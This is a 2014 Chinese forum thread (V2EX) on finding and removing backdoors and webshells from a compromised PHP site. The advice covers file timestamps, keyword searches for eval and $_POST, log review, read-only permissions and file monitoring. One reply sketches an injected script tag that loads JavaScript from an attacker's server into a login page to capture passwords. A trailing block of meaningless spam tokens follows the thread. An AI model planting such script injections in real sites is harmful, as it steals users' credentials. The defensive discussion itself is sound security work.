怎样查杀 PHP 网站的后门呢 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
vitozhang
V2EX    PHP

怎样查杀 PHP 网站的后门呢

  •  
  •   vitozhang 2014-11-14 17:59:11 +08:00 7338 次点击
    这是一个创建于 4037 天前的主题,其中的信息可能已经有所发展或是发生改变。
    网站被挂马留后门了,如何才能找到后门呢,求大神结合自己的经验给个思路
    vitozhang
        6
    vitozhang  
    OP
       2014-11-15 10:43:57 +08:00
    @GPU 重新部署治标不治本啊,入侵者还会重来的
    vitozhang
        7
    vitozhang  
    OP
       2014-11-15 10:45:14 +08:00
    @gamexg xss只是听过,具体原理不了解
    vitozhang
        8
    vitozhang  
    OP
       2014-11-15 10:46:00 +08:00
    @msg7086 或许还可以添加些权限设置,让他们无法上传大马
    gamexg
        9
    gamexg  
       2014-11-15 11:20:19 +08:00
    一些网站后台允许修改网站名称、页头、页尾和广告。这个有些是储存到数据库的。

    如果对方在里面加 <script src="http://对方的服务器上保存的脚本" type="text/Javascript"></script> ,如果登陆页面插入了他的js,那么之后登陆用户的密码他都能轻松拿到的。
    gamexg
        10
    gamexg  
       2014-11-15 11:22:44 +08:00
    无法大马,一句话一样可以搞的。

    你要是图省事并且信任360之类的,就直接使用安全宝之类的服务吧...
    vitozhang
        12
    vitozhang  
    OP
       2014-11-15 11:31:50 +08:00
    @gamexg 一句话怎么搞定?360就得了吧
    gamexg
        13
    gamexg  
       2014-11-15 11:44:00 +08:00
    搞错了,要是权限配置好,禁止增加、修改、删除网站文件是可以解决一句话的。
    whywhywhy
        14
    whywhywhy  
       2014-11-15 12:37:42 +08:00
    @vitozhang 如果是被入侵后植入的,看看每个文件的修改日期,再检查……

    如果是程序本身有漏洞 那基本没戏 查关键词或许有效

    但是自从上次看了各种各样的php后面之后,觉得没戏了……因为php太灵活了。
    kookxiang
        15
    kookxiang  
       2014-11-15 14:10:01 +08:00 via Android
    没办法的,PHP非常灵活,按关键字搜根本搜不到,只能用dz那种比对md5的办法人工处理
    vitozhang
        16
    vitozhang  
    OP
       2014-11-15 14:14:55 +08:00
    @kookxiang php终究还是要用来执行shell的嘛,只要搜索正则处理的点就可以找出来吧
    GPU
        17
    GPU  
       2014-11-15 15:21:00 +08:00 via iPhone
    @vitozhang 你需要的不是怎么去查php里面的后门木马,而是完善的程序的漏洞,还是就是加强ssh的验证方式,比如证书登陆
    mengzhuo
        18
    mengzhuo  
       2014-11-15 15:21:54 +08:00
    strace抓原始操作
    某司CTO曾经用这个方法抓到一枚3年前植入的webshell
    vitozhang
        19
    vitozhang  
    OP
       2014-11-15 15:39:20 +08:00
    @mengzhuo 太高端了,Linux高端命令还不会用
    vitozhang
        20
    vitozhang  
    OP
       2014-11-15 15:41:57 +08:00
    @GPU 都得有啊
    vitozhang
        21
    vitozhang  
    OP
       2014-11-15 15:45:50 +08:00
    @whywhywhy 挨个文件找太痛苦了,感觉还是部署个系统监控比较靠谱
    shiny
        22
    shiny  
    PRO
       2014-11-15 17:27:42 +08:00
    我是这么处理的:
    1、查找木马文件的 web 访问日志
    2、查找该 ip 的其他操作,查找相关操作访问过的文件和 url。
    3、如果没有相关 ip,可以翻下木马写入时间的web日志。如果网站规模小可以把那几天的日志都翻一下。
    3、定位出漏洞所在位置
    4、修补漏洞。

    虽然理论上 不是 100% 有效,实践中效果不错。
    shiny
        23
    shiny  
    PRO
       2014-11-15 17:30:25 +08:00
    对于高危 php 代码(类似 dedecms),还设想过这样的预警方式:整天 crond 扫描对比文件,如果有异常就发邮件通知。
    不过常用防范手法用上后就没遇到过后门,也没去实践。
    vitozhang
        24
    vitozhang  
    OP
       2014-11-15 19:06:28 +08:00
    @shiny 还会把日志留下的入侵真是有良心啊,其实不需要写的php文件可以将整个文件夹设置只读权限,但是cache目录是没法设置只读的,还是能写进木马去,并且cache目录下的php文件经常变化,没法扫描对比
    xifangczy
        25
    xifangczy  
       2014-11-15 19:26:24 +08:00
    一句话木马是最难定位的,现在都是各种各样想都想不到的方式实现。
    shiny
        26
    shiny  
    PRO
       2014-11-15 19:31:07 +08:00
    @vitozhang web 默认权限,入侵者删不了日志的……
    你这种的话 cache 禁止执行 php(不影响 include 执行),然后排除掉 cache 目录就行了。
    taogogo
        27
    taogogo  
       2014-11-15 22:38:16 +08:00
    检查文件修改时间,看对应时间的访问日志,来确定浏览者是否从web漏洞突破的(如果有日志);
    使用扫描工具扫文件修改时间和关键字,去掉其他后门;
    检查是否有弱口令;是否有多余端口;是否有包含漏洞的应用
    taogogo
        28
    taogogo  
       2014-11-15 22:39:18 +08:00
    低权限,read only,文件修改监控都可以保护你~
    konakona
        29
    konakona  
       2014-11-16 08:08:22 +08:00
    =,,= 如果程序是你负责开发的倒还好..

    1.创建时间/修改时间/文件权限(超高?)

    基本上面这3个特征已足以..

    2.关键词搜“By”(很多人喜欢HACKING BY WHO WHO WHO ..) “eval” 、“$_POST”、“$_GET”(这2个如果多就说明你们没有对这些global进行封装的习惯,有点难排查=,,=)、“dirname”、“__FILE__” 你们想想还有啥?

    3.观察php的log,看下有哪些不可能执行PHP的目录下有PHP代码运行。
    vitozhang
        30
    vitozhang  
    OP
       2014-11-16 09:02:05 +08:00
    @shiny 好方法,cache设置读写去掉执行是不错的主意。默认权限下提权拿到root权限容易吗?
    vitozhang
        31
    vitozhang  
    OP
       2014-11-16 09:04:00 +08:00
    @taogogo 文件监控有没有开源的解决方案呢
    vitozhang
        32
    vitozhang  
    OP
       2014-11-16 09:05:45 +08:00
    @konakona 被include进去的文件不会记录在log中吗
    jungledrum
        33
    jungledrum  
       2014-11-16 11:37:19 +08:00
    试试“网站安全管家”http://zhanzhang.anquan.org/ ,找黑哥要邀请码
    vitozhang
        34
    vitozhang  
    OP
       2014-11-16 11:58:12 +08:00
    @jungledrum 谢谢推荐,瞧一下
    taogogo
        35
    taogogo  
       2014-11-16 13:50:13 +08:00
    @vitozhang 搜下FAM
    vitozhang
        36
    vitozhang  
    OP
       2014-11-16 17:05:03 +08:00
    @taogogo File Alteration Monitor,赞,有不少开源的项目
    xwsoul
        37
    xwsoul  
       2014-11-18 22:15:20 +08:00
    如果有版本控制..比如 svn or git
    直接 svn status 或者 git status
    vitozhang
        38
    vitozhang  
    OP
       2014-11-19 09:05:22 +08:00
    @xwsoul 这个方法挺赞的
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     972 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 27ms UTC 19:22 PVG 03:22 LAX 11:22 JFK 14:22
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86